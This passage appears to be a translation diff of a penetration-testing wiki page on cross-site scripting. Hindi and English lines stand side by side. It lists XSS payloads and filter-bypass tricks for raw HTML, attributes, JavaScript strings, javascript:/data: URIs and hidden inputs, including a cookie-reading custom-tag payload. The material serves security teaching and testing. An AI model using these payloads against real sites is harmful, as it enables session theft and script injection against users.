4. अगर आपका input "unexpoitable tags" के अंदर reflect हो रहा है तो आप **`accesskey`** trick आज़मा सकते हैं ताकि vuln का दुरुपयोग हो (इसके लिए कुछ social engineering की आवश्यकता होगी): **`" accesskey="x" onclick="alert(1)" x="`**
Angular का एक अजीब उदाहरण जहाँ class name को नियंत्रित करने पर XSS execute होता है:
Weird example of Angular executing XSS if you controls a class name:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@ -69,15 +70,15 @@ Angular का एक अजीब उदाहरण जहाँ class name
```
### JavaScript कोड के अंदर
इस मामले में आपका इनपुट HTML पेज के **`<script> [...] </script>`** टैग्स के बीच, किसी `.js` फाइल के अंदर या **`javascript:`** प्रोटोकॉल का उपयोग करते हुए किसी attribute के अंदर परिलक्षित होता है:
In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a `.js` file or inside an attribute using **`javascript:`** protocol:
- यदि यह **`<script> [...] </script>`** टैग्स के बीच परिलक्षित होता है, तो भले ही आपका इनपुट किसी भी तरह की quotes के अंदर हो, आप `</script>` इंजेक्ट करके इस context से बाहर निकलने की कोशिश कर सकते हैं। यह इसलिए काम करता है क्योंकि **browser पहले HTML टैग्स को parse करेगा** और फिर कंटेंट को, इसलिए यह नोटिस नहीं करेगा कि आपने जो `</script>` इंजेक्ट किया है वह HTML कोड के अंदर है।
- यदि यह **inside a JS string** परिलक्षित होता है और पिछला तरीका काम नहीं कर रहा हो तो आपको string से **exit** करना, अपना कोड **execute** करना और JS कोड को **reconstruct** करना होगा (यदि कोई error होगा, तो यह execute नहीं होगा):
- If reflected between **`<script> [...] </script>`** tags, even if your input if inside any kind of quotes, you can try to inject `</script>` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `</script>` tag is inside the HTML code.
- If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code (if there is any error, it won't be executed:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
- यदि यह template literals के अंदर परिलक्षित होता है, तो आप `${ ... }` syntax का उपयोग करके **embed JS expressions** कर सकते हैं: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** का उपयोग **valid javascript code** लिखने के लिए काम आता है:
- If reflected inside template literals you can **embed JS expressions** using `${ ... }` syntax: `` var greetings = `Hello, ${alert(1)}` ``
- **Unicode encode** का उपयोग **valid javascript code** लिखने के लिए किया जा सकता है:
```javascript
alert(1)
alert(1)
@ -85,8 +86,8 @@ alert(1)
```
#### Javascript Hoisting
Javascript Hoisting का मतलब है कि आप **functions, variables or classes को उनके उपयोग के बाद declare कर सकते हैं ताकि आप उन स्थितियों का दुरुपयोग कर सकें जहाँ कोई XSS undeclared variables या functions का उपयोग कर रहा हो।**\
**अधिक जानकारी के लिए निम्न पेज देखें:**
Javascript Hoisting उस अवसर को दर्शाता है जहाँ आप **functions, variables या classes को उनके उपयोग के बाद declare कर सकते हैं ताकि आप उन scenarios का गलत फायदा उठा सकें जहाँ कोई XSS undeclared variables या functions का उपयोग कर रहा हो।**\
**अधिक जानकारी के लिए निम्नलिखित पेज चेक करें:**
{{#ref}}
@ -95,19 +96,19 @@ js-hoisting.md
### Javascript Function
कई वेब पेज ऐसे endpoints रखते हैं जो **parameter के रूप में execute करने वाले function का नाम accept करते हैं**। वाइल्ड में सामान्य उदाहरण कुछ ऐसा होता है: `?callback=callbackFunc`।
कई वेब पेज ऐसे endpoints होते हैं जो **accept as parameter the name of the function to execute**. एक आम उदाहरण जो आप रियल वर्ल्ड में देखेंगे कुछ ऐसा है: `?callback=callbackFunc`.
यह पता लगाने का एक अच्छा तरीका कि यूजर द्वारा दी गई कोई चीज़ execute होने की कोशिश कर रही है या नहीं, है **param value को modify करना** (उदाहरण के लिए 'Vulnerable') और console में ऐसी errors देखना:
यह पता लगाने का एक अच्छा तरीका है कि यूज़र द्वारा सीधे दी गई चीज़ें execute होने की कोशिश कर रही हैं या नहीं, वह है **modifying the param value** (उदाहरण के लिए 'Vulnerable') और console में ऐसे errors ढूँढना:
![](<../../images/image (711).png>)
अगर यह vulnerable है, तो आप केवल वह value भेजकर **alert trigger** कर सकते हैं: **`?callback=alert(1)`**। हालांकि, अक्सर ये endpoints **content validate** करते हैं ताकि केवल letters, numbers, dots और underscores (**`[\w\._]`**) ही allowed हों।
यदि यह vulnerable है, तो आप सिर्फ वैल्यू भेजकर **trigger an alert** कर सकते हैं: **`?callback=alert(1)`**। हालांकि, बहुत आम है कि ये endpoints **validate the content** करके केवल अक्षर, संख्याएँ, डॉट्स और अंडरस्कोर (**`[\w\._]`**) की अनुमति देंगे।
फिर भी, उस limitation के साथ भी कुछ actions करना संभव है। ऐसा इसलिए है क्योंकि आप उन valid chars का उपयोग करके **DOM के किसी भी element को access** कर सकते हैं:
हालाँकि, उस limitation के साथ भी कुछ actions करना संभव है। ऐसा इसलिए है क्योंकि आप उन valid chars का इस्तेमाल करके किसी भी DOM element तक पहुँच सकते हैं:
![](<../../images/image (747).png>)
इसके लिए कुछ उपयोगी functions हैं:
कुछ उपयोगी functions इसके लिए:
```
firstElementChild
lastElementChild
@ -115,11 +116,11 @@ nextElementSibiling
lastElementSibiling
parentElement
```
You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
आप सीधे **Javascript functions** को सक्रिय करने का भी प्रयास कर सकते हैं: `obj.sales.delOrders`.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
हालाँकि, आमतौर पर वह function जिन endpoints पर execute होता है उन endpoints में बहुत रोचक DOM नहीं होता, **other pages in the same origin** में अधिक रोचक DOM होता है जहाँ और अधिक actions किए जा सकते हैं।
Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
इसलिए, किसी अलग DOM में **abuse this vulnerability in a different DOM** करने के लिए **Same Origin Method Execution (SOME)** exploitation विकसित किया गया:
{{#ref}}
@ -128,7 +129,7 @@ some-same-origin-method-execution.md
### DOM
There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
कुछ जगह ऐसा **JS code** होता है जो असुरक्षित तरीके से हमलावर द्वारा नियंत्रित कुछ **data** जैसे `location.href` का उपयोग कर रहा होता है। एक हमलावर इसका दुरुपयोग करके arbitrary JS code execute कर सकता है।
{{#ref}}
@ -137,8 +138,8 @@ dom-xss.md
### **Universal XSS**
These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
Some **examples**:
इन प्रकार के XSS कहीं भी पाए जा सकते हैं (**anywhere**)। ये केवल वेब एप्लिकेशन के क्लाइंट exploitation पर निर्भर नहीं करते बल्कि किसी भी **context** पर निर्भर कर सकते हैं। इस तरह की **arbitrary JavaScript execution** का दुरुपयोग करके यहाँ तक कि **RCE** हासिल किया जा सकता है, क्लाइंट और सर्वर पर **arbitrary files** पढ़े जा सकते हैं, और भी बहुत कुछ।\
कुछ **examples**:
{{#ref}}
@ -154,13 +155,13 @@ server-side-xss-dynamic-pdf.md
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Raw HTML के अंदर Inject करना
## Injecting inside raw HTML
जब आपका input HTML पेज के अंदर **reflected** होता है या आप इस context में escape कर के HTML code inject कर सकते हैं तो पहली चीज़ जो आपको करनी चाहिए वह यह जांचना है कि क्या आप `<` को abuse करके नए tags बना सकते हैं: बस उस **char** को **reflect** करने की कोशिश करें और जाँचें कि क्या इसे **HTML encoded** किया जा रहा है या **deleted** किया जा रहा है या यह **बिना बदलाव के reflect** हो रहा है। **केवल अंतिम मामले में आप इस केस को exploit कर पाएंगे**।\
इन मामलों के लिए भी **ध्यान में रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Note: A HTML comment can be closed using `-->` or `--!>`**_
जब आपका इनपुट **inside the HTML page** पर प्रतिबिंबित होता है या आप इस context में escape करके HTML code inject कर सकते हैं, तो सबसे पहले आपको यह जांचना चाहिए कि क्या आप नए टैग बनाने के लिए `<` का दुरुपयोग कर सकते हैं: बस उस **char** को reflect कराकर देखें और जाँचें कि उसे **HTML encoded** किया जा रहा है, **deleted** किया जा रहा है, या **बिना बदलाव के reflect** किया जा रहा है। **केवल अंतिम स्थिति में ही आप इस केस का exploit कर पाएँगे।**\
ऐसे मामलों में भी **ध्यान रखें** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**नोट: एक HTML comment को बंद किया जा सकता है using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***\***\*_
In this case and if no black/whitelisting is used, you could use payloads like:
इस स्थिति में और यदि कोई black/whitelisting उपयोग में नहीं है, तो आप निम्न payloads का उपयोग कर सकते हैं:
```html
<script>
alert(1)
@ -173,17 +174,17 @@ Once you have **located which tags are allowed**, you would need to **brute-forc
### Tags/Events brute-force
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. फिर, सभी को Burp intruder का उपयोग करके भेजें और जाँच करें कि क्या किसी tag को WAF ने malicious के रूप में पहचाना नहीं। एक बार जब आप पता लगा लें कि आप कौन से tags उपयोग कर सकते हैं, तो आप वैध tags का उपयोग करके सभी events को **brute force** कर सकते हैं (उसी वेब पेज में _**Copy events to clipboard**_ पर क्लिक करें और पहले वाली प्रक्रिया का पालन करें)।
Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags (in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before).
### Custom tags
अगर आपको कोई वैध HTML tag नहीं मिला, तो आप **create a custom tag** करने की कोशिश कर सकते हैं और `onfocus` attribute के साथ JS code execute करवा सकते हैं। XSS request में, आपको URL को `#` से समाप्त करना होगा ताकि पेज उस object पर **focus on that object** और कोड **execute** कर पाए:
If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Blacklist Bypasses
यदि किसी प्रकार की blacklist का उपयोग किया जा रहा है आप कुछ बेवकूफााना तरकीबों से इसे bypass करने की कोशिश कर सकते हैं:
अगर किसी तरह की blacklist लागू की जा रही है, तो आप कुछ आसान ट्रिक्स से उसे bypass करने की कोशिश कर सकते हैं:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -235,34 +236,34 @@ onerror=alert`1`
```
### Length bypass (small XSSs)
> [!NOTE] > **विभिन्न परिवेशों के लिए अधिक tiny XSS** payload [**यहाँ पाया जा सकता है**](https://github.com/terjanq/Tiny-XSS-Payloads) और [**यहाँ**](https://tinyxss.terjanq.me).
> [!NOTE] > **विभिन्न परिवेशों के लिए अधिक tiny XSS payload** [**can be found here**](https://github.com/terjanq/Tiny-XSS-Payloads) and [**here**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
```
The last one is using 2 unicode characters which expands to 5: telsr\
इन वर्णों के और उदाहरण [here](https://www.unicode.org/charts/normalization/) पर मिलते हैं।\
किस characters में decomposed होते हैं यह जांचने के लिए [here](https://www.compart.com/en/unicode/U+2121) देखें।
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).\
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).
### Click XSS - Clickjacking
यदि vulnerability को exploit करने के लिए आपको prepopulated डेटा के साथ **user को link या form पर क्लिक करना** आवश्यक है, तो आप [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) आज़माकर देख सकते हैं (यदि पेज vulnerable हो)।
यदि किसी vulnerability को exploit करने के लिए आपको **user to click a link or a form** (prepopulated data के साथ) की आवश्यकता है, तो आप पेज vulnerable होने पर [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) आज़माकर देख सकते हैं।
### असंभव - Dangling Markup
### Impossible - Dangling Markup
यदि आप सोचते हैं कि **HTML tag के साथ attribute बनाकर JS code निष्पादित करना असंभव है**, तो आपको [**Danglig Markup** ](../dangling-markup-html-scriptless-injection/index.html) चेक करना चाहिए क्योंकि आप vulnerability को **exploit** कर सकते हैं **बिना** **JS** code को execute किए।
अगर आप सिर्फ यह सोचते हैं कि **HTML tag के साथ ऐसा कोई attribute बनाना असंभव है जो JS code execute कराए**, तो आपको [**Danglig Markup**](../dangling-markup-html-scriptless-injection/index.html) देखना चाहिए क्योंकि आप **vulnerability** का **exploit** JS code को execute किए बिना भी कर सकते हैं।
## Injecting inside HTML tag
## HTML tag के अंदर इंजेक्शन
### Inside the tag/escaping from attribute value
### Tag के अंदर / attribute value से escape होना
यदि आप **HTML tag के अंदर** हैं, तो सबसे पहले आप tag से **escape** करके [previous section](#injecting-inside-raw-html) में बताए गए कुछ techniques का उपयोग करके JS code execute करने की कोशिश कर सकते हैं।\
यदि आप **tag से escape नहीं कर सकते**, तो आप tag के अंदर नए attributes बनाकर JS code execute करने की कोशिश कर सकते हैं, उदाहरण के लिए कुछ payload का उपयोग करके (_नोट: इस उदाहरण में attribute से escape करने के लिए double quotes का उपयोग किया गया है, यदि आपका input सीधे tag के अंदर प्रतिबिंबित होता है तो आपको उनकी आवश्यकता नहीं होगी_):
यदि आप **HTML tag के अंदर** हैं, तो सबसे पहले आप कोशिश कर सकते हैं कि tag से **escape** करें और [previous section](#injecting-inside-raw-html) में बताये गए कुछ techniques का उपयोग करके JS code execute करें।\
यदि आप **cannot escape from the tag**, तो आप tag के अंदर नए attributes बना कर JS code execute करने की कोशिश कर सकते हैं, उदाहरण के लिए कुछ payload का उपयोग करके ( _note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_ ):
```bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
```
**स्टाइल इवेंट्स**
**स्टाइल घटनाएँ**
```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
@ -272,16 +273,16 @@ The last one is using 2 unicode characters which expands to 5: telsr\
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```
### attribute के भीतर
### एट्रिब्यूट के अंदर
भले ही आप **attribute से escape नहीं कर पाते** (`"` को encode या delete किया जा रहा है), यह इस बात पर निर्भर करता है कि आपका value किस **attribute** में reflect हो रहा है और क्या आप पूरा value नियंत्रित करते हैं या सिर्फ उसका एक हिस्सा — आप इसे abuse कर पाएंगे। For **example**, अगर आप `onclick=` जैसे किसी event को नियंत्रित करते हैं तो आप इसे क्लिक होने पर arbitrary code execute करवा पाएंगे.\
एक और दिलचस्प **example** attribute `href` है, जहाँ आप `javascript:` protocol का उपयोग करके arbitrary code चला सकते हैं: **`href="javascript:alert(1)"`**
भले ही आप **cannot escape from the attribute** (`"` is being encoded or deleted), यह इस बात पर निर्भर करेगा कि आपकी value किस **attribute** में reflect हो रही है और क्या आप पूरी value नियंत्रित करते हैं या केवल उसका एक हिस्सा — इससे आप इसे नुकसान पहुँचाने के लिए उपयोग कर पाएंगे। For **example**, अगर आप `onclick=` जैसे event को नियंत्रित करते हैं तो आप इसे क्लिक होने पर arbitrary code चलाने के लिए इस्तेमाल कर सकते हैं.\
एक और रोचक **example** attribute `href` है, जहाँ आप `javascript:` protocol का उपयोग करके arbitrary code चला सकते हैं: **`href="javascript:alert(1)"`**
**Bypass inside event using HTML encoding/URL encode**
**HTML encoding/URL encode का उपयोग करके event के अंदर bypass**
HTML tags के attributes के value के अंदर जो **HTML encoded characters** होते हैं वे runtime पर **decoded on runtime** होते हैं। इसलिए नीचे जैसा कुछ वैध होगा (payload bold में है): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
HTML टैग्स के attributes की value के अंदर मौजूद **HTML encoded characters** runtime पर **decoded** हो जाते हैं। इसलिए निम्न जैसा कुछ वैध होगा (the payload is in bold): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`
ध्यान दें कि **any kind of HTML encode वैध है**:
ध्यान दें कि **any kind of HTML encode is valid**:
```javascript
//HTML entities
&apos;-alert(1)-&apos;
@ -302,7 +303,7 @@ HTML tags के attributes के value के अंदर जो **HTML encod
```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```
**Unicode encode का उपयोग करके event के अंदर Bypass**
**Bypass इवेंट के अंदर Unicode encode का उपयोग करके**
```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
@ -310,7 +311,7 @@ HTML tags के attributes के value के अंदर जो **HTML encod
```
### attribute के भीतर विशेष प्रोटोकॉल
वहाँ आप कुछ स्थानों पर प्रोटोकॉल **`javascript:`** या **`data:`** का उपयोग करके **मनमाना JS कोड निष्पादित** कर सकते हैं। कुछ मामलों में उपयोगकर्ता की सहभागिता आवश्यक होगी; कुछ में नहीं।
आप वहाँ कुछ जगहों पर प्रोटोकॉल **`javascript:`** या **`data:`** का उपयोग कर के **मनमाना JS code निष्पादित** कर सकते हैं। कुछ में उपयोगकर्ता की सहभागिता आवश्यक होगी, कुछ में नहीं।
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -332,7 +333,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**जहाँ आप इन प्रोटोकॉल्स को इंजेक्ट कर सकते हैं**
**सामान्यतः** `javascript:` प्रोटोकॉल **किसी भी टैग में इस्तेमाल किया जा सकता है जो `href` attribute स्वीकार करता है** और **अधिकांश** उन टैगों में भी जो **`src` attribute** स्वीकार करते हैं (लेकिन `<img>` में नहीं)
**सामान्य रूप से** `javascript:` प्रोटोकॉल **किसी भी टैग में उपयोग किया जा सकता है जो `href` एट्रिब्यूट स्वीकार करता है** और उन टैग्स के **अधिकांश** में भी जो **`src` एट्रिब्यूट** स्वीकार करते हैं (लेकिन `<img>` में नहीं)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -354,19 +355,19 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**अन्य obfuscation tricks**
_**इस मामले में पिछले सेक्शन से HTML encoding और Unicode encoding trick भी मान्य हैं क्योंकि आप attribute के अंदर हैं।**_
_**इस मामले में पिछले अनुभाग से मिली HTML encoding और Unicode encoding trick भी मान्य हैं क्योंकि आप एक attribute के अंदर हैं।**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
इसके अलावा, इन मामलों के लिए एक और **nice trick** है: **Even if your input inside `javascript:...` is being URL encoded, it will be URL decoded before it's executed.** इसलिए, यदि आपको **escape** करके **string** से **single quote** का उपयोग कर बाहर निकलना है और आप देखते हैं कि **it's being URL encoded**, तो याद रखें कि **it doesn't matter,** यह **interpreted** होगा एक **single quote** के रूप में **execution** के समय।
इसके अलावा, इन मामलों के लिए एक और **nice trick** है: **भले ही आपके `javascript:...` के अंदर का input URL encoded हो रहा हो, इसे execute होने से पहले URL decoded किया जाएगा।** तो, अगर आपको **string** से **escape** करने के लिए **single quote** का उपयोग करना है और आप देखते हैं कि यह **URL encoded** हो रहा है, तो याद रखें कि **कोई फर्क नहीं पड़ता,** इसे **execution** के समय **interpreted** के रूप में **single quote** माना जाएगा।
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
ध्यान दें कि यदि आप किसी भी क्रम में **दोनों का उपयोग** `URLencode + HTMLencode` करके **payload** को encode करने की कोशिश करते हैं तो यह **काम नहीं** **करेगा**, लेकिन आप **इन्हें payload के अंदर मिलाकर** इस्तेमाल कर सकते हैं।
ध्यान दें कि यदि आप किसी भी क्रम में `URLencode + HTMLencode` **दोनों का उपयोग** करके **payload** को encode करने की कोशिश करते हैं तो यह **काम नहीं करेगा**, लेकिन आप **payload** के अंदर उन्हें mix कर सकते हैं।
**`javascript:` के साथ Hex और Octal encode का उपयोग**
**Hex और Octal encode का उपयोग `javascript:` के साथ**
आप `iframe` के `src` attribute के अंदर (कम से कम) **Hex** और **Octal encode** का उपयोग करके **HTML tags to execute JS** घोषित कर सकते हैं:
```javascript
@ -384,7 +385,7 @@ _**इस मामले में पिछले सेक्शन से HT
```javascript
<a target="_blank" rel="opener"
```
यदि आप किसी भी URL को किसी arbitrary **`<a href=`** टैग में inject कर सकते हैं जो **`target="_blank" and rel="opener"`** attributes रखता है, तो इस व्यवहार को exploit करने के लिए निम्न पेज देखें:
यदि आप किसी भी URL को किसी भी **`<a href=`** टैग में इंजेक्ट कर सकते हैं जिसमें **`target="_blank" and rel="opener"`** attributes मौजूद हों, तो इस व्यवहार का शोषण करने के लिए निम्न पेज देखें:
{{#ref}}
../reverse-tab-nabbing.md
@ -392,8 +393,8 @@ _**इस मामले में पिछले सेक्शन से HT
### on Event Handlers Bypass
सबसे पहले इस पेज को चेक करें ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) for useful **"on" event handlers**.\
यदि कोई blacklist है जो आपको इन event handlers को बनाने से रोकती है तो आप निम्न bypasses आज़मा सकते हैं:
सबसे पहले इस पेज को देखें ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) उपयोगी **"on" event handlers** के लिए.\
यदि कोई blacklist आपको ये event handlers बनाने से रोक रही है, तो आप निम्नलिखित bypasses आज़मा सकते हैं:
```javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
@ -408,14 +409,14 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS में "Unexploitable tags" (hidden input, link, canonical, meta)
### XSS "Unexploitable tags" में (hidden input, link, canonical, meta)
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **अब hidden inputs का दुरुपयोग निम्न के साथ संभव है:**
From [**here**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **अब hidden inputs को निम्न के साथ abuse करना संभव है:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
```
और **meta tags**:
और **मेटा टैग्स** में:
```html
<!-- Injection inside meta attribute-->
<meta
@ -429,15 +430,15 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
From [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): आप **XSS payload inside a hidden attribute** चला सकते हैं, बशर्ते आप **victim** को **key combination** दबाने के लिए **मनाने** में सफल हों। Firefox Windows/Linux पर की-कॉम्बिनेशन **ALT+SHIFT+X** है और OS X पर **CTRL+ALT+X** है। आप access key attribute में अलग key देकर अलग की-कॉम्बिनेशन निर्दिष्ट कर सकते हैं। Here is the vector:
स्रोत: [**here**](https://portswigger.net/research/xss-in-hidden-input-fields): आप एक **XSS payload inside a hidden attribute** चला सकते हैं, बशर्ते आप **मनाना** कर के **victim** को **key combination** दबाने के लिए राज़ी कर सकें। Firefox Windows/Linux पर की संयोजन **ALT+SHIFT+X** है और OS X पर यह **CTRL+ALT+X** है। आप access key attribute में अलग key का उपयोग करके एक अलग key combination निर्दिष्ट कर सकते हैं। Here is the vector:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**XSS payload कुछ ऐसा होगा: `" accesskey="x" onclick="alert(1)" x="`**
**XSS payload कुछ इस तरह होगा: `" accesskey="x" onclick="alert(1)" x="`**
### Blacklist Bypasses
इस सेक्शन में पहले ही विभिन्न encoding के उपयोग से संबंधित कई ट्रिक्स बताई जा चुकी हैं। वापस जाएँ और जानें कि आप कहाँ उपयोग कर सकते हैं:
Several tricks with using different encoding were exposed already inside this section. Go **back to learn where can you use:**
- **HTML encoding (HTML tags)**
- **Unicode encoding (can be valid JS code):** `\u0061lert(1)`
@ -455,11 +456,11 @@ Read the J[avaScript bypass blacklist of the following section](#javascript-bypa
### CSS-Gadgets
यदि आपने वेब के बहुत छोटे हिस्से में कोई **XSS** पाया है जो किसी तरह की interaction की मांग करता है (शायद footer में एक छोटा सा link जिसमें onmouseover element हो), तो आप उस element द्वारा घेराए गए space को modify करने की कोशिश कर सकते हैं ताकि link के फायर होने की संभावनाएँ अधिकतम हों।
यदि आप वेब के किसी बहुत छोटे हिस्से में **XSS** पाते हैं जो किसी तरह के इंटरैक्शन की मांग करता है (शायद footer में एक छोटा लिंक जिसके साथ onmouseover element हो), तो आप उस element द्वारा घेरें जाने वाली जगह को बदलने की कोशिश कर सकते हैं ताकि लिंक के फ़ायर होने की संभावना अधिक हो।
उदाहरण के लिए, आप element में कुछ styling जोड़ सकते हैं जैसे: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
For example, you could add some styling in the element like: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
लेकिन, अगर WAF style attribute को filter कर रहा है, तो आप CSS Styling Gadgets का उपयोग कर सकते हैं, इसलिए यदि आप उदाहरण के लिए पाते हैं
But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example
> .test {display:block; color: blue; width: 100%\}
@ -467,27 +468,27 @@ and
> \#someid {top: 0; font-family: Tahoma;}
अब आप हमारे link को modify कर सकते हैं और इसे इस रूप में ला सकते हैं
Now you can modify our link and bring it to the form
> \<a href="" id=someid class=test onclick=alert() a="">
यह trick निम्न लिंक से लिया गया था: [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Injecting inside JavaScript code
ऐसे मामलों में आपका input `.js` फ़ाइल के JS code में या `<script>...</script>` टैग्स के बीच, या ऐसे HTML events के बीच जहाँ JS code execute हो सकता है, या उन attributes के बीच जो `javascript:` protocol स्वीकार करते हैं, reflect होगा।
In these case you **input** is going to be **reflected inside the JS code** of a `.js` file or between `<script>...</script>` tags or between HTML events that can execute JS code or between attributes that accepts the `javascript:` protocol.
### Escaping \<script> tag
यदि आपका code `<script> [...] var input = 'reflected data' [...] </script>` के भीतर insert होता है, तो आप आसानी से **closing the `<script>`** tag को escape कर सकते हैं:
If your code is inserted within `<script> [...] var input = 'reflected data' [...] </script>` you could easily **`<script>` टैग को बंद करना escape करें**:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Note that in this example we **हमने single quote को भी बंद ही नहीं किया है**. This is because **HTML parsing सबसे पहले browser द्वारा की जाती है**, जो पेज के एलिमेंट्स की पहचान करता है, जिनमें script के ब्लॉक्स भी शामिल हैं। The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
Note that in this example we **haven't even closed the single quote**. This is because **HTML parsing is performed first by the browser**, which involves identifying page elements, including blocks of script. The parsing of JavaScript to understand and execute the embedded scripts is only carried out afterward.
### JS कोड के अंदर
### JS code के अंदर
If `<>` are being sanitised you can still **जिस स्ट्रिंग में आपका इनपुट स्थित है उसे escape करें** और **मनमाना JS execute कर पाएँ**. It's important to **JS syntax को ठीक करें**, because if there are any errors, the JS code won't be executed:
यदि `<>` sanitize किए जा रहे हैं तो आप फिर भी उस स्थान पर जहाँ आपका इनपुट **स्थित** है, **स्ट्रिंग को एस्केप करें** और **arbitrary JS को execute करें**। यह महत्वपूर्ण है कि आप **JS syntax को ठीक करें**, क्योंकि यदि कोई त्रुटि होगी, तो JS code निष्पादित नहीं होगा:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -495,25 +496,25 @@ If `<>` are being sanitised you can still **जिस स्ट्रिंग
```
#### JS-in-JS string break → inject → repair pattern
जब उपयोगकर्ता इनपुट किसी उद्धरण चिह्न वाले JavaScript string के अंदर पहुँचता है (e.g., server-side echo into an inline script), तो आप string को terminate कर सकते हैं, code inject कर सकते हैं, और syntax repair कर सकते हैं ताकि parsing वैध बनी रहे। सामान्य संरचना:
जब user input किसी quoted JavaScript string के अंदर पहुँचता है (e.g., server-side echo into an inline script), आप string को terminate कर सकते हैं, code inject कर सकते हैं, और syntax को repair करके parsing को वैध रख सकते हैं। सामान्य ढाँचा:
```
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
```
